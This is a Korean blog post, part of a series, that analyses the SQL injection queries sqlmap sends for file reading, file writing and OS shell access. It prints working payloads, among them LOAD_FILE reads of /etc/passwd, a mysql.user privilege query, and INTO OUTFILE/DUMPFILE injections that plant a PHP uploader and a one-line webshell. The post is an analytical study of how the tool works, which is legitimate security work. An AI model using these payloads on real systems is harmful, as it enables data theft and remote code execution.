효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

1편 포스팅에선 어떻게 공격이 진행되는지 살펴봤다.

2022.07.25 - [웹] - [웹] SQL Injection을 이용한 다양한 공격 기법 (Feat. sqlmap) - 1

 

[웹] SQL Injection을 이용한 다양한 공격 기법 (Feat. sqlmap) - 1

SQL injection으로 DB를 추출할 수 있는 것은 기본적으로 다 알고있다. 하지만 이 SQL 인젝션 취약점이 진짜 위험한 이유는 DB가 털리는 것도 물론 굉장히 위험하지만 SQL injection으로 파일 다운로드, 파

hyotwo.tistory.com

 

이번 포스팅에서는 어떤 쿼리가 전송되어 추가 공격이 가능한지 봐야한다.

먼저 sql-shell

1. --sql-shell

sql-shell은 sqlmap 툴 내에서 sql 프롬포트가 출력되고 그 안에

쿼리를 입력해서 정말 공격자가 sql서버 내의 쉘을 다루고있는 것 처럼 해준다.

하지만 sqlshell 옵션을 사용했을 때 날아가는 파라미터에는 딱히

이렇다할 쿼리가 없고 그냥 연결확인만 하는 걸 볼 수 있다.

웹서버의 로그에도 접근 기록뿐

쉘 프롬포트 내에서 어떠한 쿼리명령을 전송했을 때 비로소 그 명령이 파라미터로 전송되어 정보가 오는 것을 볼 수 있다.

즉 sql-shell은 편의성을 위한 기능이라고 볼 수 있다.

명령을 실행할 때 마다 그 때 그때 파라미터로 해당 쿼리를 sql injection 쿼리로 전송하여 정보를 탈취해온다.

 

2. --file-read

파일을 읽어오는 sql 쿼리함수는 load_file이고 이 함수를 사용해서 sqlmap 역시 파일정보를 가져온다.

sqlmap에서 /etc/passwd 파일을 읽어오라고 명령을 했을 때 다음과 같은 쿼리가 전송된다.

1' UNION ALL SELECT NULL,CONCAT(0x717a706271,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f6574632f706173737764)) AS NCHAR),0x20),0x71627a7171)-- -

16진수로 복잡하게 되어있지만 변환 해보면은 아래와 같다.

1' UNION ALL SELECT NULL,CONCAT(qzpbq,IFNULL(CAST(LENGTH(LOAD_FILE(/etc/passwd)) AS NCHAR), ),qbzqq)-- -

UNION SELECT 를 사용하여 1열을 NULL 값을 2열에 파일을 읽어오는 것인데

문자열을 합쳐주는 CONCAT 함수를 사용하여 임의의 문자열 'qzpbq'와 ifnull, 형 변환 함수인 cast , 길이값을 구하는 length를 사용하여 /etc/passwd의 파일 길이를 변환하여 가져온다. 

그리고 다시 임의의 문자열 'qbzqq'를 합쳐준다.

실제로 직접 파라미터에 이 쿼리를 실행해보면

아래 처럼 임의의 문자열과 passwd파일의 길이인 3618값이 합쳐져서 출력되는 것을 볼 수 있다.

실제로 가져온 passwd파일의 길이 또한 3618

근데 쿼리를 실행했을 때 아무리 cast함수로 형변환을 한다고 하더라도 3618이라는 값만 추출되는데 어떻게 이 데이터를 가져오는지 알아보려 했다.

먼저 아무런 함수없이 load_file만을 사용했을 때 해당 파일의 크기를 가져온다.

여기에 cast함수를 사용하여 nchar 형으로 파일을 읽어오면 파일의 내용이 일부 가져와지는것을 볼 수 있다.

하지만 sqlmap이 사용한 쿼리처럼  length 함수를 사용하게되면

select concat("a",ifnull(cast(length(load_file('/etc/passwd')) as nchar),0x20),"b";

오로지 파일 내용의 길이인 3618만 출력이 된다. 그래서... 왜 굳이 이 length 함수를 사용하는지에 대해선 잘 모르겠다.

사실 sqlmap을 사용하지않고 수동으로 할 때는 아래와 같은 쿼리 하나만 넣어도 출력이 된다.

1' UNION select 1, load_file('/etc/passwd') #

개인적으로 추측하면 sqlmap엔 다양한 우회쿼리들이 정말 많이 존재하고 기본적으로 우회 쿼리를 전송하는데

length 함수를 사용하는 이유도 우회쿼리중 하나로 생각한다 하지만 어떻게 가져오는지는 모르겠다.

또한 해당 load_file 함수를 사용하기 위해서는 db유저 권한에 file 권한이 허용되어있어야한다.

쿼리는 아래와 같으며 file_priv 뿐만아니라 select, drop 등등 다양한 db에서의 권한을 확인할 수 있다.

1' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user#

0x3a 는 ':' 을 뜻하여 그냥 보기편하게 해주는 것임

3.--os-shell

os-shell 옵션은 1편에서 봤듯이 임시 쉘 파일 tmp*.php 를 업로드 한 다음 그 쉘 파일을 이용해서

쉘 프롬포트를 가져온다.

페이로드를 보게되면 아래와같이 엄청 긴 페이로드가 날아가는데

1' LIMIT 0,1 INTO OUTFILE '/opt/lampp/htdocs/dashboard/tmpuilao.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f6f70742f6c616d70702f6874646f63732f64617368626f6172642f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -&submit=제출

이를 변환해보면 아래와 같이 쉘 코드로 이루어져있다.

1' LIMIT 0,1 INTO OUTFILE '/opt/lampp/htdocs/dashboard/tmpuilao.php' LINES TERMINATED BY 
<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/opt/lampp/htdocs/dashboard/> <input type=submit name=upload value=upload></form>";}?>

LINES TERMINATED 함수를 이용하여 아래 php 코드를 INTO OUTFILE 함수로 tmpuilao.php로 추출하여 생성한다.

여기서 잠깐 php 코드를 살펴보면

반응형

tmpuilao.php는 업로드 기능을 담당하는 페이지인 것을 확인할 수 있다. 

업로드 후 chmod 명령어를 이용하여 파일 권한도 755 즉 실행권한을 준다.

웹 서버에서 그 파일의 정보를 보면

첫 페이로드로 업로드된 'tmpuilao.php' 파일은 mysql이란 사용자에 의해서 생성되고 실행권한이 없이

644로 기본 생성되었지만 이후 페이로드로  'tmpuilao.php'에서 업로드된 tmpbgofm.php는 실제로 명령어를 실행하는 파일로 755 권한을 갖고 daemon에 의해 생성되었다.

tmpuilao.php 를 통해 다른 웹쉘을 업로드하게되면 똑같이 daemon에 의해 생성되며 755 권한을 갖게된다.

파일의 코드를 살펴보면 bgofm.php 파일이 결국 os-shell 프롬포트로 연결되는 것을 알 수있다.

그리고 연결종료 시 페이로드를 살펴보면 파일 삭제 명령어를 자동적으로 전송하며 파일을 삭제한다.

 

4. --file-write

file-write 옵션은 사실 os-shell의 원리와 같아서 쿼리는 비슷하지만 INTO DUMPFILE함수를 이용해 파일을 쓴다.

-7157' UNION ALL SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e3b,NULL INTO DUMPFILE '/opt/lampp/htdocs/dashboard/hyotwo.php'

위 16진수 값은 자동적으로 파일의 내용인 쉘코드가 변형되어 인코딩 된 것이다.

<?php system($_GET['c']); ?>;

0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e3b 값을 

INTO DUMPFILE '/opt/lampp/htdocs/dashboard/hyotwo.php' 에 써주는 것이다.

명령 실행 후 mysql에 의해 파일이 생성된 것을 볼 수 있고, 디렉터리가 기본적으로 실행권한이 있기때문에

php 파일 역시 실행이 가능하다.

당연히 os-shell 에서 봤던 INTO OUTFILE로도 가능하다

1' UNION SELECT 1,"<?php system($_GET['c']); ?>;" INTO OUTFILE '/opt/lampp/htdocs/dashboard/hyotwo.php'

 

추가적으로 위의 모든 옵션을 살펴봤을 때 UNION으로만 하는 것을 볼 수 있다.

하지만 UNION 인젝션은 조건이 까다로워 취약점으로 잘 발견되지않는다 sql Injection 자체가 잘 없지만

그나마 자주 발견되는 것이 Blind 인데 그래서 Blind로도 테스트해보았다.

일단 페이지의 코드를 수정해서 Blind만 취약하도록 만들었다.

select now(); 명령어 실행 시 한글자씩 천천히 출력되지만

결국 blind로 데이터를 추출할 수 있기때문에 정상적으로 동작하는 것을 볼 수 있다.

하지만 데이터를 추출하려하면 별도의 블라인드 테스트를 위한 동작이 필요하다.

결국 sqlmap 처럼 잘 동작됨

file-read도 한번 테스트 해보았다.

etc/passwd 파일을 읽어오라 하였더니 아래 사진과 같이 블라인드 인젝션을 통해 하나하나 값을 찾아오는 것을 볼 수 있다.

passwd 파일의 길이가 꽤 큰편이라 작은 파일로 대신 가져왔다.

hosts 파일로 테스트 결과 UNION 쿼리보다 물론 시간은 약간 걸리지만 그래도 정상적으로 파일을 잘 가져오는 것을 확인할 수 있다.

 

 

로그를 통해 쿼리를 살펴보면

1' AND ORD(MID((LENGTH(LOAD_FILE(0x2f6574632f686f737473))),1,1))>49-- poWh
1' AND ORD(MID((LENGTH(LOAD_FILE(0x2f6574632f686f737473))),1,1))>48-- poWh

16진수 0x2f6574632f686f737473 = /etc/hosts

흔히 아는 블라인드 인젝션으로 ASCII 같은 기능을하는 함수 ORD와 

글 중간값을 가져오는 MID 글 길이를 구하는 LENGTH 등의 함수를 사용하여 하나하나 가져오는것을 볼 수 있다.

os-shell 과 file-write는 Blind로는 불가능 한 것으로 보인다.

아까와 같은 쿼리문을 날리지만 파일 자체는 생성이 되나 코드가 정상적으로 전송되지 않아서

코드가 비어있는것을 볼 수 있다.

반응형
  • hyotwo7658@gmail.com

복사 완료 👍